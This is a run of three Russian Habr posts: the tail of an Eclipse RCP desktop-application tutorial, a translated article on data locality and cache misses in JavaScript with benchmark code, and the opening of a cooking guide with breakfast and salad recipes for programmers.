платформе RCP, и структуру самой платформы Eclipse. ![](https://habrastorage.org/r/w1560/storage2/470/c9e/bab/470c9ebabae55f24e3201d5c4aba6abf.png) Рисунок 1 — Компоненты используемые в RCP приложении (рисунок взят с этого [сайта](http://www.vogella.de/articles/EclipseRCP/article.html)) ![](https://habrastorage.org/r/w780q1/storage2/030/79e/11f/03079e11f56eaefba1ce27ed2b081610.jpg) Рисунок 2 – Архитектура Eclipse (рисунок взят с этого [сайта](http://www.jdg2e.com/ch08.architecture/doc/index.html)) ##### Плюсы и минусы платформы Главный вопрос — чем же так хороша данная платформа и зачем ее использовать для разработки десктопных приложений (к слову, возможно разрабатывать веб приложения и приложения для мобильных платформ). Модульность, кроссплатформенность, поддержка мультиязычности, бесплатность, огромное количество существующих плагинов, библиотек и фреймвороков. Все это позволяет создавать приложения коммерческого уровня (ссылка на список существующих приложений разработанных на данной платформе приведена в конце статьи). К минусам можно отнести достаточно высокий уровень вхождения, так как для разработки серьёзного приложения необходимо знать хотя бы в общих чертах, как работает OSGI фреймворк, уметь работать с компонентами и виджетами SWT и JFace. Также для русскоговорящих разработчиков проблемой будет найти какие-либо материалы или книги об упомянутых выше фреймворках и библиотеках (ссылки на найденные ресурсы, в том числе и на русскоязычные, приведены в конце статьи), хотя в Европе и США периодически проводятся конференции, которые организуют участники Eclipse Foundation, в Германии издается специальный журнал, рассказывающий о новых плагинах и содержащий уйму примеров их применения, а также существует целая серия книг на немецком, которая описывает все ньюансы и тонкости разработки. На английском можно найти специальную серию книг eclipse series издательства Addison-Wesley, также можно найти пару книг от издательства Apress. Но на нашем родном языке материалов и книг ничтожно мало. #### Приступаем к работе ##### Установка необходимых плагинов Давайте перейдём непосредственно к созданию нашего первого RCP приложения. Для работы нам необходимо [скачать](http://www.eclipse.org/downloads/) сборку: **Eclipse for RCP and RAP Developers** c официального сайта. Если же Eclipse IDE уже установлена, то можно воспользоваться менеджером обновлений. Выберем в главном меню пункт Help->Install New Software. В появившемся окне Install сверху выберем из выпадающего списка нужный нам сайт с обновлениями —  *[download.eclipse.org/releases/indigo](http://download.eclipse.org/releases/indigo)*, если такого сайта в списке нет, то нажмём справа кнопку Add, в поле Name напишем – Indigo Update Site, в поле Location – адрес, приведённый выше, нажмём OK (если при добавлении адреса появляется сообщение – Duplicate location, значит адрес уже существует в списке Available Software Sites, список сайтов обновлений можно посмотреть в предыдущем окне Install если щёлкнуть по ссылке Available Software Sites, которая находится под выпадающем списком). После выбора сайта обновлений, внизу появится древовидный список (если отмечен чекбокс Group items by category), откроем пункт General Purpose Tools и выберем **Eclipse Plug-in Development Environment**, затем откроем пункт EclipseRT Target Platform Components и отметим плагин – **Eclipse RCP Plug-in Developer Resources**, именно эти два плагина нам необходимы для создания нашего проекта. Далее нажмём два раза Next, примем лицензионное соглашение и щёлкнем по кнопке Finish; все, начнется установка необходимых плагинов. После установки нам будет предложено перезагрузить Eclipse, что мы и сделаем. ![](https://habrastorage.org/r/w1560/storage2/e31/4a3/4da/e314a34da2d48bda380625a37dcd513e.png) Рисунок 3 – Окно установки плагинов ##### Создание проекта После перезагрузки выберем в главном меню пункт File->New->Other, выберем пункт Plug-in Development, далее, в ниспадающем меню отметим Plug-in Project. ![](https://habrastorage.org/r/w1560/storage2/8a7/015/ae4/8a7015ae4ab88df918d43dbcce979993.png) Рисунок 4 – Меню выбора типа создаваемого проекта Нажмём Next, нам необходимо дать имя нашему проекту, пусть он будет называться first.rcp.application, опять нажмём Next. В следующем окне нам необходимо указать имя приложения, в поле Name напишем First RCP Application. Снимем флажок с пункта Generate an activator, a Java class that controls the plug-in’s life cycle; для нашего простого приложения класс активатор не нужен. Оставим флажок на пункте — This plug-in will make contributions to the UI, так как наше приложение будет содержать пользовательский интерфейс. Оставим третий пункт Enable API Analysis неотмеченным. На вопрос — Would you like to create a rich client application? ответим Yes. ![](https://habrastorage.org/r/w1560/storage2/67b/a77/b4c/67ba77b4c2853a74339e6af127206b88.png) Рисунок 5 – Окно создания плагина Нажмём Next, нам будет предложено выбрать шаблон для будущего приложения, выберем — Hello RCP и нажмём Next. ![](https://habrastorage.org/r/w1560/storage2/0b6/50e/483/0b650e48393103cf5af9b29d0d873435.png) Рисунок 6 — Окно выбора шаблона RCP проекта В последнем окне, в поле Application window title напишем — User Form, в поле Application class – **MyApplication**. Флажок Add branding оставим неактивным. Нажмём кнопку Finish. Нам будет предложено переключиться на перспективу Plug-in Development perspective, согласимся с этим предложением. ![](https://habrastorage.org/r/w1560/storage2/840/fa9/949/840fa99493fca2f896baf5d9885e96ba.png) Рисунок 7 — Окно конфигурации шаблона RCP проекта ##### Структура проекта Итак перед нами структура только что созданного проекта. ![](https://habrastorage.org/r/w1560/storage2/e99/5b7/6ef/e995b76ef34b4c13cbbf6be53f39b60d.png) Рисунок 8 – Структура проекта Содержание пяти классов в пакете first.rcp.application в данный момент нас не итересует, скажу только, что класс **MyApplication** это в некотором роде метод main() обычной Java программы, данный класс отвечает за то как будет запущен наш плагин и как он будет остановлен. В классе **ApplicationWorkbenchWindowAdvisor**, мы можем установить размер окна приложения при помощи следующей строки кода: `configurer.setInitialSize(new Point(400, 300));` Также мы можем увидеть, что по умолчанию не будет показываться панель инструментов и строка состояния: `configurer.setShowCoolBar(false); configurer.setShowStatusLine(false);` Последней строкой устанавливается заголовок главного окна: `configurer.setTitle("User Form");` Класс **ApplicationActionBarAdvisor** отвечает за настройку строки меню нашего приложения. Класс **Perspective** отвечает за расположение и размер редакторов (editors) и видов (views), которые находятся в данной перспективе (perspective), в RCP приложении должна быть хотя бы одна перспектива. ##### Запуск проекта Для того, чтобы запустить только что созданное нами приложение, нам необходимо перейти в папку META-INF и открыть файл **MANIFEST.MF**, если вы вдруг его закрыли (этот файл открывается по-умолчанию при создании проекта). ![](https://habrastorage.org/r/w1560/storage2/625/ac2/1df/625ac21df214fb285de29d0726c1979c.png) Рисунок 9 – Редактор свойств RCP приложения Данный файл позволяет нам менять многие настройки проекта, подключать дополнительные плагины, подключать и управлять расширениями, настраивать сборку нашего плагина и многое другое. Мы находимся на вкладке Overview, в разделе Testing нажмём на ссылку — Launch an Eclipse application, через мгновение на экране появится окно нашего приложения, закроем его и перейдём к следующему этапу. ![](https://habrastorage.org/r/w1560/storage2/bfc/d86/455/bfcd8645568bbb3608cf0662b2cd1618.png) Рисунок 10 – Окно нашего приложения #### Добавление вида (view) ##### Добавление расширения Нашей задачей является создание вида (view), на который мы сможем поместить элементы графического интерфейса. Перейдём опять к файлу **MANIFEST.MF**, выберем внизу вкладку – Extensions. Мы видим, что по умолчанию у нас есть два расширения: org.eclipse.core.runtime.applications и org.eclipse.ui.perspectives. Первое расширение связано с классом нашего приложения **MyApplication**, если мы выберем данное расширение и развернём древовидный список до узла first.rcp.application.MyApplication (run), мы увидим, что поле class содержит название именно этого класса. Вернувшись к корневому узлу данного списка, справа в разделе Extension Details мы увидим два поля, значения которых мы тоже можем поменять (не будем сейчас этого делать): ID – идентификатор приложения и Name – название приложения. Второе расширение отвечает за настройку перспективы нашего приложения. Файл **MANIFEST.MF** позволяет нам не заглядывая в код класса Perspective, указать, какие виды и/или редакторы будет содержать данная перспектива, их положение, размер и соотношение. Щёлкнув на этом расширении и перейдя к дочернему пункту мы увидим, что в разделе Extension Element Details мы можем указать класс перспективы, идентификатор и имя. Необходимо отметить, что подобные изменения, как говорилось выше, можно произвести путём редактирования непосредственно кода класса, который связан с данным расширением и редактированием файла **plugin.xml**, но не хотелось бы усложнять создание нашего первого проекта. ![](https://habrastorage.org/r/w1560/storage2/4a9/9a6/929/4a99a692982ab0db1bcf5452288f40eb.png) Рисунок 11 – Вкладка с расширениями нашего проекта Нам необходимо добавить новое расширение для создания вида. Для этого нажмём на кнопку Add и в появившемся окне, в поле Extension Point filter введём views, должно остаться только одно расширение – org.eclipse.ui.views, выберем его и нажмём кнопку Finish. ![](https://habrastorage.org/r/w1560/storage2/6af/917/cfe/6af917cfe25af89155491630faa80910.png) Рисунок 12 – Окно выбора нового расширения В списке расширений у нас должно появиться ещё одно, третье по счёту расширение. ##### Настройка вида Щёлкнем по добавленному нами расширению правой кнопкой мыши, появится контекстное меню, выберем в нем New->view, тем самым мы добавим элемент к нашему расширению (этим элементом и является необходимый нам вид). В правой части появятся настройки данного элемента. Для начала создадим класс для нашего вида. Сделать этом мы можем нажав на ссылку class\*. ![](https://habrastorage.org/r/w1560/storage2/0b6/a27/318/0b6a273188234132415def7df17cd20d.png) Рисунок 13 – Настройки вида (view) Откроется стандартный диалог создания Java класса, дадим ему название – MainView; как мы можем заметить, данный класс наследуется от класса **org.eclipse.ui.part.ViewPart**, родительского класса для всех видов. Завершим создание класса нажав на кнопку Finish. Осталось совсем немного, после создания класса для нашего вида перед нами откроется его код, создадим статическую переменную, которая будет содержать идентификатор данного вида, в качестве идентификатора мы зададим каноническое имя данного класса. Напишем следующее: `… public class MainView extends ViewPart {     public static final String ID = MainView.class.getCanonicalName(); … }` Ввернёмся к файлу **MANIFEST.MF**, откроем вкладку Extension, скопируем содержимое поля class\* и вставим его в поле ID. Теперь имя класса и идентификатор этого вида совпадают, данный приём является хорошей практикой, так как всегда позволяет быстро найти нужный вид и узнать его идентификатор. В поле name\* напишем – User Form. Все вид создан, осталось связать его с нашей перспективой, так как вид сам по себе не может быть использован, иными словами он должен принадлежать какой-либо перспективе. ##### Настройка расположения вида Дальнейшие манипуляции мы можем произвести оставаясь в редакторе расширений или же открыть код класса перспективы — **Perspective.java**, что мы и сделаем. В классе **Perspective**, перейдём в метод – createInitialLayout(), данный метод задаёт начальное положение видов и редакторов. В методе напишем следующие две строки кода: `layout.setEditorAreaVisible(false); layout.addStandaloneView(MainView.ID, true, IPageLayout.LEFT, 1.0f, layout.getEditorArea());` Первая строка указывает объекту layout, что нам не нужна область для редактирования, так как у нас только один вид и нету редакторов. Вторая строка добавляет наш вид, причём как автономный (standalone). Первым параметром является идентификатор нашего вида. Второй параметр это булево значение, отвечающее за то, будет или нет показан заголовок нашего вида (User Form). Третий параметр предназначен для указания ориентации вида в перспективе, так как вид у нас один и займёт все пространство перспективы, то данное значение может быть любым. Четвёртый параметр определяет положение этого вида по отношению к другим видам или редакторам, так как, в нашем случае, вид один он должен занимать все пространство перспективы. Последний пятый параметр, идентификатор области редактирования (editor area). Сохраним наши изменения. ##### Запуск приложения с добавленным видом Вернёмся к файлу **MANIFEST.MF** и снова запустим наше приложение, для этого перейдём на вкладку Overview, в разделе Testing, щёлкнем по ссылке Launch an Eclipse application. Большого различия с тем как выглядела форма при предыдущем запуске мы не увидим, добавилась только вкладка с нашим видом – User Form. ![](https://habrastorage.org/r/w1560/storage2/b59/fb2/1e0/b59fb21e002f429da914b81eebf42b25.png) Рисунок 14 – Окно нашего приложения с добавленным видом На сегодня все, продолжение будет в следующей статье. [Архив](http://dl.dropbox.com/u/480046/habrahabr/first.zip) с исходным кодом проекта #### Ссылки на полезные ресурсы Русскоязычные: * [Старый туториал](http://www.ibm.com/developerworks/ru/edu/os-ecl-rcpapp/), на данном сайте можно найти еще пол дюжины неплохих статей о разработке Eclispe плагинов и RCP приложений; * Хорошая [статья](http://www.smartyit.ru/java/96) о раскладках компонентов SWT фреймворка; * [Блог](http://samolisov.blogspot.com/) сурового челябинского программиста, содержит большое количество инетерсных топиков о Eclipse RCP и OSGI. Англоязычные: * Огромное количество [отличных туториалов](http://www.vogella.de/), по всем самым популярным плагинам и фреймворкам, все написано очень подробно, понятно даже с начальным уровнем английского языка; * [Коммерческие проекты](http://www.eclipse.org/community/rcpcp.php) написанные на Eclipse RCP.
https://habr.com/ru/post/139340/
null
ru
null
# Память в JavaScript — без утечек ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/ca1/00b/90e/ca100b90eb678e9ea576416739bbc5f6.png) То, как вы создаете и получаете доступ к своим данным, может повлиять на производительность вашего приложения. Посмотрим как. ### Вступление JavaScript — это язык очень высокого уровня. Таким образом, большинство разработчиков не задумываются о том, как данные хранятся в памяти. В этой статье мы рассмотрим, как данные хранятся в памяти, как они влияют на процессор и память и как способ, которым вы распространяете данные в JS и обращаетесь к ним, влияет на производительность. ### Любовный треугольник Когда компьютеру необходимо выполнить некоторые вычисления, процессору (ЦП) нужны данные для обработки. Таким образом, в соответствии с поставленной задачей он отправляет в память запрос на выборку данных через шину. Это выглядит так: ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/77c/9d9/f81/77c9d9f81a720320f0419b081e9b551b.png) Так что это наш романтический треугольник — Процессор -> Шина -> Память ### Поддерживать здоровые отношения в трио сложно Процессор намного быстрее, чем память. Таким образом, этот процесс Процессор -> Шина -> Память -> Шина -> Процессор «тратит» время на вычисления. Пока просматривается память, процессор бездействует. Для предотвращения простоя, в систему был добавлен кеш. Мы не будем вдаваться в подробности что такое кэш или какие есть типы кэша, но достаточно сказать, что кэш — это внутренняя память процессора. Когда ЦП получает команду на исполнение, он сначала ищет данные в кэше, а если данных там нет, он отправляет запрос через шину. Шина, в свою очередь, передает запрашиваемые данные плюс условную часть памяти и сохраняет их в кеше для быстрого обращения. Таким образом, у ЦП будет меньше недовольства на то, насколько медленная память и, следовательно, у ЦП будет меньше времени простоя. ### Ссоры являются частью любых отношений Проблема, которая может возникнуть — особенно когда мы имеем дело с обработкой огромных объемов данных — это явление, называемое промах кэша (cache miss). Промах кэша означает, что во время вычислений, ЦП обнаруживает, что не имеет необходимых данных в кэше, и ему нужно запрашивать эти данные по обычным каналам — вы помните про очееееень медленнную память. ![image](https://habrastorage.org/getpro/habr/post_images/2a0/d20/6fe/2a0d206fef8cf8e96cc7f4bf0799530a.gif) *Иллюстрация промаха кеша. Данные из массива обрабатываются, но данные за пределами лимита кэша также запрашиваются для вычисления — и это создает «промах кэша».* ### Хорошо, но я JavaScript разработчик, почему меня это должно волновать? Хороший вопрос. В большинстве случаев вы об этом не задумываетесь. Однако сегодня, когда все больше и больше данных проходит через сервера написанные на Node.js, у вас больше шансов встретить проблему промаха кэша при переборе больших наборов данных. Я поверю в это, когда увижу это!!! Справедливо. Давайте посмотрим на пример. Вот класс под названием Boom. ``` class Boom { constructor(id) { this.id = id; } setPosition(x, y) { this.x = x; this.y = y; } } ``` Этот класс (Boom) имеет всего 3 свойства — id, x и y. Теперь давайте создадим метод, который заполняет x и y. Давайте зададим данные: ``` const ROWS = 1000; const COLS = 1000; const repeats = 100; const arr = new Array(ROWS * COLS).fill(0).map((a, i) => new Boom(i)); ``` Теперь мы будем использовать эти данные в методе: ``` function localAccess() { for (let i = 0; i < ROWS; i++) { for (let j = 0; j < COLS; j++) { arr[i * ROWS + j].x = 0; } } } ``` Что делает localAccess, так это линейно проходит по массиву и устанавливает x равным 0. Если мы повторим эту функцию 100 раз (посмотрите на константу repeats), мы можем измерить, сколько времени потребуется для выполнения: ``` function repeat(cb, type) { console.log(`%c Started data ${type}`, 'color: red'); const start = performance.now(); for (let i = 0; i < repeats; i++) { cb(); } const end = performance.now(); console.log('Finished data locality test run in ', ((end - start) / 1000).toFixed(4), ' seconds'); return end - start; } repeat(localAccess, 'Local'); ``` Вывод журнала: ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/dde/8f7/875/dde8f78755ab8fc66031df3d9e4005c6.png) ### Цена за промах кэша Теперь, согласно тому, что мы узнали выше, мы можем рассмотреть проблему промаха кэша, если обработаем данные, которые находятся далеко во время итерации. Удаленные данные — это данные, которых нет в соседнем индексе. Вот функция для этого: ``` function farAccess() { for (let i = 0; i < COLS; i++) { for (let j = 0; j < ROWS; j++) { arr[j * ROWS + i].x = 0; } } } ``` Здесь происходит то, что на каждой итерации мы обращаемся к индексу, который находится на расстоянии ROWS от последней итерации. Поэтому, если ROWS равен 1000 (как в нашем случае), мы получаем следующую итерацию: [0, 1000, 2000,…, 1, 1001, 2001,…]. Давайте добавим это в наш тест скорости: ``` repeat(localAccess, 'Local'); setTimeout(() => { repeat(farAccess, 'Non Local'); }, 2000); ``` И вот конечный результат: ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/721/a81/f70/721a81f705eacbdb6bd0bf094a563295.png) Нелокальная итерация была почти в 4 раза медленнее. Эта разница будет расти с увеличением данных. Это происходит из-за того, что процессор простаивает из-за промаха кэша. Так какую цену вы платите? Все зависит от размера ваших данных. ### Хорошо, я клянусь, я никогда этого не сделаю! Возможно, вы об этом не думаете, но… есть случаи, когда вы хотите получить доступ к массиву с некоторой логикой, которая не является линейной (например, 1,2,3,4,5) или не является условной (например, for(let i = 0; i Например, вы получаете данные из сервиса или БД, и вам нужно обрабатывать их, отсортировывать или отфильтровывать с помощью сложной логики. Это может привести к ситуации аналогичной той, что была показана в функции farAccess. Вот иллюстрация, которая (надеюсь) прояснит ситуацию: ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/f02/c39/3a0/f02c393a0e7e7c60c19ba9bf2a0d9c55.png) *Исходные данные в памяти vs отсортированные данные в памяти. Числа обозначают индексы объектов в исходном массиве.* Глядя на изображение выше, мы видим данные в том виде, в каком они хранятся в памяти (верхняя серая полоса). Ниже мы видим массив, который был создан, когда данные поступили с сервера. Наконец, мы видим отсортированный массив, который содержит ссылки на объекты, хранящиеся в различных позициях в памяти. Таким образом, итерация по отсортированному массиву может привести к множественным промахам в кэше, как показано в примере выше. > Обратите внимание, что этот пример для небольшого массива. Промахи в кеше актуальны для гораздо больших данных. В мире, где вам нужны плавные анимации на фронтенде и где вы можете загружать каждую миллисекунду процессорного времени на бекенде — это может стать критическим. ### О нет! Все потеряно!!! Нет, не совсем. Существуют различные решения этой проблемы, но теперь, когда вы знаете причину такого падения производительности, вы, вероятно, можете придумать решение самостоятельно. Вам просто нужно хранить данные, которые обрабатываются как можно ближе в памяти. > Такая техника называется шаблоном [проектирования Data Locality](https://gameprogrammingpatterns.com/data-locality.html). Давайте продолжим наш пример. Предположим, что в нашем приложении наиболее распространенным процессом является обработка данных с помощью логики, показанной в функции farAccess. Мы хотели бы оптимизировать данные, чтобы они работали быстро в наиболее распространенном цикле for. Мы организуем такие данные: ``` const diffArr = new Array(ROWS * COLS).fill(0); for (let col = 0; col < COLS; col++) { for (let row = 0; row < ROWS; row++) { diffArr[row * ROWS + col] = arr[col * COLS + row]; } } ``` Так что теперь, в diffArr, объекты, которые находятся в индексах [0,1,2,…] в исходном массиве, теперь установлены следующим образом [0,1000,2000,…, 1, 1001, 2001,…, 2, 1002, 2002, ...]. Цифры обозначают индекс объекта. Это имитирует сортировку массива, что является одним из способов реализации шаблона проектирования Data Locality. Чтобы легко это проверить, мы немного изменим нашу функцию farAccess, чтобы получить кастомный массив: ``` function farAccess(array) { let data = arr; if (array) { data = array; } for (let i = 0; i < COLS; i++) { for (let j = 0; j < ROWS; j++) { data[j * ROWS + i].x = 0; } } } ``` А теперь добавьте сценарий к нашему тесту: ``` repeat(localAccess, 'Local'); setTimeout(() => { repeat(farAccess, 'Non Local') setTimeout(() => { repeat(() => farAccess(diffArr), 'Non Local Sorted') }, 2000); }, 2000); ``` Мы запускаем это, и мы получаем: ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/9fd/5b2/0af/9fd5b20af4f02dd60cf68968c4e37f62.png) И вуаля! — мы оптимизировали наши данные, чтобы они соответствовали более распространенному подходу к ним. [Полный пример приведен тут](https://yonatankra.com/performance/memory/liveExamples/objectPool2/index.html). ### Вывод В этой статье мы продемонстрировали шаблон проектирования Data Locality. По сути, мы показали, что доступ к структуре данных способом, для которого она не оптимизирована, может снизить производительность. Затем мы оптимизировали данные в соответствии с нашим способом их обработки — и увидели, как они улучшили производительность. Шаблон проектирования Data Locality распространен в сфере разработки игр, где часто приходилось сталкиваться с множеством сущностей, которые повторяются много раз. В приведенных выше результатах мы видим, что локальность данных по-прежнему имеет значение даже в языках высокого уровня, таких как JavaScript, а не только в играх. Сегодня, учитывая объем данных, передаваемых между серверами или загружаемых в браузеры, разработчики приложений должны учитывать шаблоны проектирования, которые раньше были повседневными для разработчиков игр — и на стороне сервера и на стороне клиента. ![image](https://habrastorage.org/r/w780q1/webt/rd/kl/lr/rdkllrbtrth_kdpceb-vxzrxl1o.jpeg) Узнайте подробности, как получить востребованную профессию с нуля или Level Up по навыкам и зарплате, пройдя платные онлайн-курсы SkillFactory: * [Курс по Machine Learning (12 недель)](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=ML&utm_term=regular&utm_content=22062003) * [Курс «Профессия Data Scientist» (24 месяца)](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=DSPR&utm_term=regular&utm_content=22062003) * [Курс «Профессия Data Analyst» (18 месяцев)](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=DAPR&utm_term=regular&utm_content=22062003) * [Курс «Python для веб-разработки» (9 месяцев)](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=PWS&utm_term=regular&utm_content=22062003) ### Читать еще * [Крутые Data Scientist не тратят время на статистику](https://habr.com/ru/company/skillfactory/blog/507052/) * [Как стать Data Scientist без онлайн-курсов](https://habr.com/ru/company/skillfactory/blog/507024/) * [Шпаргалка по сортировке для Data Science](https://habr.com/ru/company/skillfactory/blog/506888/) * [Data Science для гуманитариев: что такое «data»](https://habr.com/ru/company/skillfactory/blog/506798/) * [Data Scienсe на стероидах: знакомство с Decision Intelligence](https://habr.com/ru/company/skillfactory/blog/506790/)
https://habr.com/ru/post/507758/
null
ru
null
# GTD на кухне: чем накормить голодного программиста ![image](https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/a2d/6b2/37a/a2d6b237a63cc759fd9b2c7ad59f01c8.jpg)Итак, как и обещал в [первой части](http://habrahabr.ru/post/170499/), продолжаем упрощать бытовую жизнь хабражителя. Сегодня 8 марта (кстати, девушки, поздравляю!) и части мужчин хочется порадовать своих женщин и освободить их от «рабского труда» на кухне, а другой части – приготовить для себя не традиционные пельмени\вареники\сосиски, а что-то посущественней. Вот несколько проверенных рецептов, которые пригодятся и первым, и вторым. **Осторожно, много картинок. Голодным не входить!** #### Завтрак Собственно говоря завтрак – это важная часть дня, дающая сил на первую его половину, так что игнорировать его не очень полезно. Поэтому желательно потратить немного времени после пробуждения и его для себя сварганить. ##### Съел — и порядок ![image](https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/ecd/3bd/c2e/ecd3bdc2ebe665f45e6328e3a63eade7.jpg)В качестве «тюбиков с космической едой», когда совсем нет времени на готовку, можно использовать творожные сырки (только их надо очень тщательно выбирать, дешевле 10 рублей практически всё – соевая лажа). Один или два сырка на завтрак и вам гарантировано отсутствие чувства голода до обеда. Чуть посложнее – творожные десерты (Активия, Био-макс, Чудо). Можно съесть за пару минут и довольно сытные. Хорошо также помогает бутерброд с сыром или колбасой. Также можно добавить помидорчика, огурца, зелени, маслица или какого-нибудь плавленного сыра. В общем, не отказывайте себе в удовольствии. ![image](https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/3de/cc4/dcc/3decc4dcc58cc443d420be3037fdc55b.jpg)Далее по сложности идут мюсли или вообще сухие завтраки (только выбирайте с меньшим содержанием сахара). Засыпали в чашку, залили молоком\кефиром\йогуртом, подождали пару минут и можно есть. Также хорошо помогают справиться с утренним голодом овсяные хлопья быстрого приготовления: высыпаем их в миску, добавляем замороженных ягод и фруктов, заливаем горячей водой, ждем пару-тройку минут – готово. Можно еще и вареньем или сгущенкой залить, если не боитесь, что слипнется кое-что ) ##### Завтрак с готовкой Вообще хорошо подзаряжают организм утром, конечно же, яйца. Тут базовых рецептов немного, но их вариациями нет числа. ###### Яйца можно сварить ![image](https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/30c/d15/30c/30cd1530c1062cd001b581548bf5ce1d.jpg)Берем 1-2-3 яйца, закидываем в ковшик, ставим на огонь, вода закипает, ждем 2-3 минуты (в зависимости от скорости нагрева воды вашей плитой) – получим яйца **всмятку**, когда желток жидкий; ждем 4-5 минут – получим яйца **«в мешочек»** — часть желтка жидкая, но основная масса уже свернулась; ждем 10 минут – получим яйца **вкрутую** – ингредиент многих салатов и просто блюдо, которое можно съесть с майонезом или кетчупом. По достижении нужного времени ковшик с яйцами – под холодную воду, чтобы быстрее остыли. И можно есть. Советы тут следующие: не доверяйте своей способности засекать время силой мыслью, купите кухонный таймер или поставьте напоминание в телефон – очень помогает. Для ускорения процесса (этот совет относится вообще ко всей готовке, в которой нужна кипящая вода) можно закипятить воду в электрическом чайнике, а потом уже перелить в ковшик или кастрюлю, но лучше не дожидаться кипения в чайнике, так как двойное кипение воды уже может привести к отложению в ней всякой гадости. Можно кстати купить [яйцеварку](http://market.yandex.ru/search.xml?hid=411499) (500-1000 рублей), но это если вы уж очень любите яйца, а так будет пылиться на полке до больших праздников, когда надо штук 6-8 сразу приготовить. Кстати можно сделать типа «ресторанную подачу» — яйца-пашот, которые варятся без скорлупы в кипящей воде: вскипятить воду, уменьшить огонь, разбить скорлупу и перелить яйцо в миску, а из миски осторожно в кипящую воду. Далее варить 1-4 минуты (в зависимости от нужной консистенции желтка), доставать шумовкой (такая большая ложка с дырочками). Вообще по вареным яйцам исчерпывающую информацию можно найти здесь: [supercook.ru/zz124-01.html](http://supercook.ru/zz124-01.html) ###### Яйца также можно пожарить ![image](https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/e5e/ee8/17c/e5eee817c878e364f933965ed1d5c033.jpg)Собственно самое мужское блюдо. Налить в сковородку немного подсолнечного масла, размазав его по всей сковороде, поставить ее на сильный огонь. Когда сковородка разогреется (красный индикатор по центру, каплю воды капнуть чтоб зашипело, рукой проверить «жар») – уменьшить огонь, разбить ножом нужное число яиц над сковородой: в одной руке яйцо, в другой нож, по середине яйца бьем ножом, чтобы яйцо раскололось, потом пальцами «раскрываем» скорлупу и осторожно выливаем содержимое на сковородку. Посолите, поперчите, можно зелень добавить. Жарьте, пока белок не станет твердым, а края не покроются корочкой, потом аккуратно снимайте лопаткой и на тарелку. Низ не должен подгореть. Если подгорает, вы готовите на слишком большом огне. Конечно, «голая» яичница – это довольно скучно и быстро надоедает. Но ее можно готовить миллионом разных способов. С сосисками, помидорами, сыром, гренками, овощами. Вот, например, [80 рецептов](http://www.gotovim.ru/recepts/snack/fried_eggs/p://www.gotovim.ru/recepts/snack/fried_eggs/). Основная идея – так как яичница готовится очень быстро, сначала мы готовим «дополнительную часть», то есть обжариваем сосиски или помидоры, или кусочки хлеба, чуть намоченные в молоке или воде, а потом уже добавляем яйца. В общем, экспериментируйте! ###### Омлет ![image](https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/acf/edb/b0b/acfedbb0b10a6acb8ddff133c9679a62.jpg)Очень крутое и вкусное блюдо. Основное отличие – яйца взбиваются. Чаще всего с молоком или сливками, но в экстренных случаях можно и со сметаной, кефиром, вообще любой кисломолочкой и даже водой. Трудоемкость зависит от наличия дома «кухонных гаджетов»: блендера-миксера-венчика-вилки (последовательность в зависимости от скорости приготовления). Ставим на огонь сковородку, добавляем подсолнечного или сливочного масла (некоторые ценители рекомендуют именно сливочное), размазываем по сковороде. Далее взбиваем яйца (на 1 порцию можно 2 или 3) нашим «устройством», чтобы смешать белки и желтки, потом добавляем полчашки молока (кисломолочки\воды) или грамм 30 сливок, солим, перчим, по желанию добавляем зелень и продолжает взбивать. Когда получается более-менее однородная масса – осторожно вливаем ее на сковородку и закрываем крышкой. Уменьшаем огонь и жарим минут 10, чтобы омлет трясся от движений сковородки. Доставать лопаточкой, разрезав ей же весь омлет на 3-4 куска. Омлет, опять же, хорош своими вариациями. Очень вкусный омлет с помидорами, а еще есть с сосисками, овощами, зеленью, сыром, грибами, фасолью и даже вчерашним недоеденным гарниром :). Подробнее об омлетах можно узнать [здесь](http://supercook.ru/zz124-06.html) или [здесь](http://www.russianfood.com/recipes/bytype/?fid=611). #### Салаты ![image](https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/880/9d3/1bd/8809d31bd1ae204e7ffc07bf1b2d9dce.jpg)Салаты – это, во-первых, широкое поле для экспериментов, во-вторых, полноценная здоровая и сытная еда, в-третьих, отличное дополнение практически к любому второму блюду. В бытность свою студентом я практически каждый день делал себе такой **экспресс-салат**: помидор режем пополам, еще пополам, потом на «сектора»; режем огурец вдоль на 2 половинки, потом на полуокружности (это сложнее описать, чем сделать, поверьте мне) и пару листов салата рвём руками, чуть солим и заливаем оливковым маслом. Даже под всякий разогретый фаст-фуд прокатывает. Самый же простой – это, наверное, просто **огурцы-помидоры**. Режем и то, и другое, как вашей душе угодно, заправляете, чем пожелаете (масло, сметана, майонез) – готово. К нему можно добавить еще перец, капусту, горошек консервированный, фасоль, редис, яблоки, вареную картошку, свеклу, курицу, сыр, колбасу, крабовые палочки, грибы и вот вам 100500 разных салатов. С заправками и методом нарезки (кубики, соломка, бруски) тоже можно экспериментировать. **«Оливье»** и **«крабовые палочки»** (кстати, за рубежом его называют «русским салатом :) ), уверен, знаком каждый из нас, так что оставим это за рамками материала. ![image](https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/623/b21/061/623b21061fc9509e6c29b33ec1b7a8e0.jpg)Из «сложных» салатов один из моих любимых и самых простых по приготовлению – это **«типа цезарь»**. Копченая грудка (их сейчас блин хрен найдешь, настоящих, попадается сплошь с «запахом копчения», бее) – ну там грамм 300 в ней будет. Листья салата – 3-4. Сухарики белые(!) (по-моему, остались только «Компашки») – пару пачек. Сыр – 50 грамм Режем грудку, режем сыр кубиками (можно еще потереть на терке), салат рвем или мелко режем, закидываем сухарики (сразу, если хотите, чтобы они были помягче или уже при подаче на стол, чтобы были как сухарики), заливаем майонезом (кстати рекомендую «Слободу», практический единственный более-менее натуральный). Всё. Очень вкусно и сытно. 